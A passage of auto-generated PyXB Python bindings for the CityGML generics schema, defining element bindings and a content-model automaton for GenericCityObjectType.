pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'intAttribute'), IntAttributeType, location=pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 104, 1)) Namespace.addCategoryObject('elementBinding', intAttribute.name().localName(), intAttribute) doubleAttribute = pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'doubleAttribute'), DoubleAttributeType, location=pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 119, 1)) Namespace.addCategoryObject('elementBinding', doubleAttribute.name().localName(), doubleAttribute) dateAttribute = pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'dateAttribute'), DateAttributeType, location=pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 134, 1)) Namespace.addCategoryObject('elementBinding', dateAttribute.name().localName(), dateAttribute) uriAttribute = pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'uriAttribute'), UriAttributeType, location=pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 149, 1)) Namespace.addCategoryObject('elementBinding', uriAttribute.name().localName(), uriAttribute) measureAttribute = pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'measureAttribute'), MeasureAttributeType, location=pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 164, 1)) Namespace.addCategoryObject('elementBinding', measureAttribute.name().localName(), measureAttribute) genericAttributeSet = pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'genericAttributeSet'), GenericAttributeSetType, location=pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 182, 1)) Namespace.addCategoryObject('elementBinding', genericAttributeSet.name().localName(), genericAttributeSet) GenericCityObjectType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'class'), teaser.data.bindings.opengis.raw.gml.CodeType, scope=GenericCityObjectType, location=pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 35, 5))) GenericCityObjectType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'function'), teaser.data.bindings.opengis.raw.gml.CodeType, scope=GenericCityObjectType, location=pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 36, 5))) GenericCityObjectType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'usage'), teaser.data.bindings.opengis.raw.gml.CodeType, scope=GenericCityObjectType, location=pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 37, 5))) GenericCityObjectType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'lod0Geometry'), teaser.data.bindings.opengis.raw.gml.GeometryPropertyType, scope=GenericCityObjectType, location=pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 38, 5))) GenericCityObjectType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'lod1Geometry'), teaser.data.bindings.opengis.raw.gml.GeometryPropertyType, scope=GenericCityObjectType, location=pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 39, 5))) GenericCityObjectType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'lod2Geometry'), teaser.data.bindings.opengis.raw.gml.GeometryPropertyType, scope=GenericCityObjectType, location=pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 40, 5))) GenericCityObjectType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'lod3Geometry'), teaser.data.bindings.opengis.raw.gml.GeometryPropertyType, scope=GenericCityObjectType, location=pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 41, 5))) GenericCityObjectType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'lod4Geometry'), teaser.data.bindings.opengis.raw.gml.GeometryPropertyType, scope=GenericCityObjectType, location=pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 42, 5))) GenericCityObjectType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'lod0TerrainIntersection'), teaser.data.bindings.opengis.raw.gml.MultiCurvePropertyType, scope=GenericCityObjectType, location=pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 43, 5))) GenericCityObjectType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'lod1TerrainIntersection'), teaser.data.bindings.opengis.raw.gml.MultiCurvePropertyType, scope=GenericCityObjectType, location=pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 44, 5))) GenericCityObjectType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'lod2TerrainIntersection'), teaser.data.bindings.opengis.raw.gml.MultiCurvePropertyType, scope=GenericCityObjectType, location=pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 45, 5))) GenericCityObjectType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'lod3TerrainIntersection'), teaser.data.bindings.opengis.raw.gml.MultiCurvePropertyType, scope=GenericCityObjectType, location=pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 46, 5))) GenericCityObjectType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'lod4TerrainIntersection'), teaser.data.bindings.opengis.raw.gml.MultiCurvePropertyType, scope=GenericCityObjectType, location=pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 47, 5))) GenericCityObjectType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'lod0ImplicitRepresentation'), teaser.data.bindings.opengis.citygml.raw.base.ImplicitRepresentationPropertyType, scope=GenericCityObjectType, location=pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 48, 5))) GenericCityObjectType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'lod1ImplicitRepresentation'), teaser.data.bindings.opengis.citygml.raw.base.ImplicitRepresentationPropertyType, scope=GenericCityObjectType, location=pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 49, 5))) GenericCityObjectType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'lod2ImplicitRepresentation'), teaser.data.bindings.opengis.citygml.raw.base.ImplicitRepresentationPropertyType, scope=GenericCityObjectType, location=pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 50, 5))) GenericCityObjectType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'lod3ImplicitRepresentation'), teaser.data.bindings.opengis.citygml.raw.base.ImplicitRepresentationPropertyType, scope=GenericCityObjectType, location=pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 51, 5))) GenericCityObjectType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'lod4ImplicitRepresentation'), teaser.data.bindings.opengis.citygml.raw.base.ImplicitRepresentationPropertyType, scope=GenericCityObjectType, location=pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 52, 5))) def _BuildAutomaton (): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton del _BuildAutomaton import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/gml/3.1.1/base/gmlBase.xsd', 55, 3)) counters.add(cc_0) cc_1 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/gml/3.1.1/base/gmlBase.xsd', 56, 3)) counters.add(cc_1) cc_2 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/gml/3.1.1/base/gmlBase.xsd', 57, 3)) counters.add(cc_2) cc_3 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/gml/3.1.1/base/feature.xsd', 28, 5)) counters.add(cc_3) cc_4 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/gml/3.1.1/base/feature.xsd', 29, 5)) counters.add(cc_4) cc_5 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/2.0/cityGMLBase.xsd', 62, 5)) counters.add(cc_5) cc_6 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/2.0/cityGMLBase.xsd', 63, 5)) counters.add(cc_6) cc_7 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/2.0/cityGMLBase.xsd', 64, 5)) counters.add(cc_7) cc_8 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/2.0/cityGMLBase.xsd', 65, 5)) counters.add(cc_8) cc_9 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/2.0/cityGMLBase.xsd', 66, 5)) counters.add(cc_9) cc_10 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/2.0/cityGMLBase.xsd', 67, 5)) counters.add(cc_10) cc_11 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/2.0/cityGMLBase.xsd', 68, 5)) counters.add(cc_11) cc_12 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 35, 5)) counters.add(cc_12) cc_13 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 36, 5)) counters.add(cc_13) cc_14 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 37, 5)) counters.add(cc_14) cc_15 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 38, 5)) counters.add(cc_15) cc_16 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 39, 5)) counters.add(cc_16) cc_17 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 40, 5)) counters.add(cc_17) cc_18 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 41, 5)) counters.add(cc_18) cc_19 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 42, 5)) counters.add(cc_19) cc_20 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 43, 5)) counters.add(cc_20) cc_21 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 44, 5)) counters.add(cc_21) cc_22 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 45, 5)) counters.add(cc_22) cc_23 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 46, 5)) counters.add(cc_23) cc_24 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 47, 5)) counters.add(cc_24) cc_25 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 48, 5)) counters.add(cc_25) cc_26 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 49, 5)) counters.add(cc_26) cc_27 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 50, 5)) counters.add(cc_27) cc_28 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 51, 5)) counters.add(cc_28) cc_29 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 52, 5)) counters.add(cc_29) states = [] final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.ElementUse(GenericCityObjectType._UseForTag(pyxb.namespace.ExpandedName(_Namespace_gml, 'metaDataProperty')), pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/gml/3.1.1/base/gmlBase.xsd', 55, 3)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = set() final_update.add(fac.UpdateInstruction(cc_1, False)) symbol = pyxb.binding.content.ElementUse(GenericCityObjectType._UseForTag(pyxb.namespace.ExpandedName(_Namespace_gml, 'description')), pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/gml/3.1.1/base/gmlBase.xsd', 56, 3)) st_1 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_1) final_update = set() final_update.add(fac.UpdateInstruction(cc_2, False)) symbol = pyxb.binding.content.ElementUse(GenericCityObjectType._UseForTag(pyxb.namespace.ExpandedName(_Namespace_gml, 'name')), pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/gml/3.1.1/base/gmlBase.xsd', 57, 3)) st_2 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_2) final_update = set() final_update.add(fac.UpdateInstruction(cc_3, False)) symbol = pyxb.binding.content.ElementUse(GenericCityObjectType._UseForTag(pyxb.namespace.ExpandedName(_Namespace_gml, 'boundedBy')), pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/gml/3.1.1/base/feature.xsd', 28, 5)) st_3 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_3) final_update = set() final_update.add(fac.UpdateInstruction(cc_4, False)) symbol = pyxb.binding.content.ElementUse(GenericCityObjectType._UseForTag(pyxb.namespace.ExpandedName(_Namespace_gml, 'location')), pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/gml/3.1.1/base/feature.xsd', 29, 5)) st_4 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_4) final_update = set() final_update.add(fac.UpdateInstruction(cc_5, False)) symbol = pyxb.binding.content.ElementUse(GenericCityObjectType._UseForTag(pyxb.namespace.ExpandedName(_Namespace_core, 'creationDate')), pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/2.0/cityGMLBase.xsd', 62, 5)) st_5 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_5) final_update = set() final_update.add(fac.UpdateInstruction(cc_6, False)) symbol = pyxb.binding.content.ElementUse(GenericCityObjectType._UseForTag(pyxb.namespace.ExpandedName(_Namespace_core, 'terminationDate')), pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/2.0/cityGMLBase.xsd', 63, 5)) st_6 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_6) final_update = set() final_update.add(fac.UpdateInstruction(cc_7, False)) symbol = pyxb.binding.content.ElementUse(GenericCityObjectType._UseForTag(pyxb.namespace.ExpandedName(_Namespace_core, 'externalReference')), pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/2.0/cityGMLBase.xsd', 64, 5)) st_7 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_7) final_update = set() final_update.add(fac.UpdateInstruction(cc_8, False)) symbol = pyxb.binding.content.ElementUse(GenericCityObjectType._UseForTag(pyxb.namespace.ExpandedName(_Namespace_core, 'generalizesTo')), pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/2.0/cityGMLBase.xsd', 65, 5)) st_8 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_8) final_update = set() final_update.add(fac.UpdateInstruction(cc_9, False)) symbol = pyxb.binding.content.ElementUse(GenericCityObjectType._UseForTag(pyxb.namespace.ExpandedName(_Namespace_core, 'relativeToTerrain')), pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/2.0/cityGMLBase.xsd', 66, 5)) st_9 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_9) final_update = set() final_update.add(fac.UpdateInstruction(cc_10, False)) symbol = pyxb.binding.content.ElementUse(GenericCityObjectType._UseForTag(pyxb.namespace.ExpandedName(_Namespace_core, 'relativeToWater')), pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/2.0/cityGMLBase.xsd', 67, 5)) st_10 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_10) final_update = set() final_update.add(fac.UpdateInstruction(cc_11, False)) symbol = pyxb.binding.content.ElementUse(GenericCityObjectType._UseForTag(pyxb.namespace.ExpandedName(_Namespace_core, '_GenericApplicationPropertyOfCityObject')), pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/2.0/cityGMLBase.xsd', 68, 5)) st_11 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_11) final_update = set() final_update.add(fac.UpdateInstruction(cc_12, False)) symbol = pyxb.binding.content.ElementUse(GenericCityObjectType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'class')), pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 35, 5)) st_12 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_12) final_update = set() final_update.add(fac.UpdateInstruction(cc_13, False)) symbol = pyxb.binding.content.ElementUse(GenericCityObjectType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'function')), pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 36, 5)) st_13 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_13) final_update = set() final_update.add(fac.UpdateInstruction(cc_14, False)) symbol = pyxb.binding.content.ElementUse(GenericCityObjectType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'usage')), pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 37, 5)) st_14 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_14) final_update = set() final_update.add(fac.UpdateInstruction(cc_15, False)) symbol = pyxb.binding.content.ElementUse(GenericCityObjectType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'lod0Geometry')), pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 38, 5)) st_15 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_15) final_update = set() final_update.add(fac.UpdateInstruction(cc_16, False)) symbol = pyxb.binding.content.ElementUse(GenericCityObjectType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'lod1Geometry')), pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 39, 5)) st_16 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_16) final_update = set() final_update.add(fac.UpdateInstruction(cc_17, False)) symbol = pyxb.binding.content.ElementUse(GenericCityObjectType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'lod2Geometry')), pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 40, 5)) st_17 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_17) final_update = set() final_update.add(fac.UpdateInstruction(cc_18, False)) symbol = pyxb.binding.content.ElementUse(GenericCityObjectType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'lod3Geometry')), pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 41, 5)) st_18 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_18) final_update = set() final_update.add(fac.UpdateInstruction(cc_19, False)) symbol = pyxb.binding.content.ElementUse(GenericCityObjectType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'lod4Geometry')), pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 42, 5)) st_19 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_19) final_update = set() final_update.add(fac.UpdateInstruction(cc_20, False)) symbol = pyxb.binding.content.ElementUse(GenericCityObjectType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'lod0TerrainIntersection')), pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 43, 5)) st_20 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_20) final_update = set() final_update.add(fac.UpdateInstruction(cc_21, False)) symbol = pyxb.binding.content.ElementUse(GenericCityObjectType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'lod1TerrainIntersection')), pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 44, 5)) st_21 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_21) final_update = set() final_update.add(fac.UpdateInstruction(cc_22, False)) symbol = pyxb.binding.content.ElementUse(GenericCityObjectType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'lod2TerrainIntersection')), pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 45, 5)) st_22 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_22) final_update = set() final_update.add(fac.UpdateInstruction(cc_23, False)) symbol = pyxb.binding.content.ElementUse(GenericCityObjectType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'lod3TerrainIntersection')), pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 46, 5)) st_23 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_23) final_update = set() final_update.add(fac.UpdateInstruction(cc_24, False)) symbol = pyxb.binding.content.ElementUse(GenericCityObjectType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'lod4TerrainIntersection')), pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 47, 5)) st_24 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_24) final_update = set() final_update.add(fac.UpdateInstruction(cc_25, False)) symbol = pyxb.binding.content.ElementUse(GenericCityObjectType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'lod0ImplicitRepresentation')), pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 48, 5)) st_25 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_25) final_update = set() final_update.add(fac.UpdateInstruction(cc_26, False)) symbol = pyxb.binding.content.ElementUse(GenericCityObjectType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'lod1ImplicitRepresentation')), pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 49, 5)) st_26 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_26) final_update = set() final_update.add(fac.UpdateInstruction(cc_27, False)) symbol = pyxb.binding.content.ElementUse(GenericCityObjectType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'lod2ImplicitRepresentation')), pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 50, 5)) st_27 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_27) final_update = set() final_update.add(fac.UpdateInstruction(cc_28, False)) symbol = pyxb.binding.content.ElementUse(GenericCityObjectType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'lod3ImplicitRepresentation')), pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 51, 5)) st_28 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_28) final_update = set() final_update.add(fac.UpdateInstruction(cc_29, False)) symbol = pyxb.binding.content.ElementUse(GenericCityObjectType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'lod4ImplicitRepresentation')), pyxb.utils.utility.Location('/home/micha/GIT/pyxb/pyxb/bundles/opengis/schemas/citygml/generics/2.0/generics.xsd', 52, 5)) st_29 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_29) transitions = [] transitions.append(fac.Transition(st_0, [ fac.UpdateInstruction(cc_0, True) ])) transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_8, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_9, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_10, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_11, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_12, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_13, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_14, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_15, [ fac.UpdateInstruction(cc_0, False) ])) 